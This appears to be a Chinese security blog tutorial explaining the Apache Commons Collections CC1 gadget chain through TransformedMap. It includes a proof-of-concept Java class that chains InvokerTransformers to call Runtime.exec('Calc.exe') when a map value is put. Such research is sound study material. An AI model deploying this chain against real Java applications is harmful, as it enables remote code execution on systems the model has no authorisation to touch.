结合CC迭代调用链,我们可以知道想进行RCE的核心是ChainedTransformer的Transformer方法, 本文中TransformedMap就是可以调用此方法的一条链
CC1 TransformedMap链
CC包中的TransformedMap类在进行put, checkSetValue等方法时, 可以触发transform方法
protect Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
public Object put(Object key, Object value) { key = this.transformKey(key); value = this.transformValue(value); return this.getMap().put(key, value); }
|
POC
明显就是利用TransformedMap去触发迭代调用链, 先使用decorate进行赋值,然后使用put进行触发
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}), };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("zeo", "666");
|
解析
这是TransformedMap.decorate() - 装饰器模式, 会创建一个特殊的TransformedMap, 此时这个valueTransformer是我们构造的transformerChain
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
|
当调用outerMap.put("zeo", "666");
public Object put(Object key, Object value) { value = transformValue(value); return getMap().put(key, value); }
protected Object transformValue(Object object) { if (valueTransformer == null) { return object; } return valueTransformer.transform(object); }
|
完整代码
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap; import java.util.Map;
public class testCC1 { public static void main(String[] args) { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}), };
Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("zeo", "666"); } }
|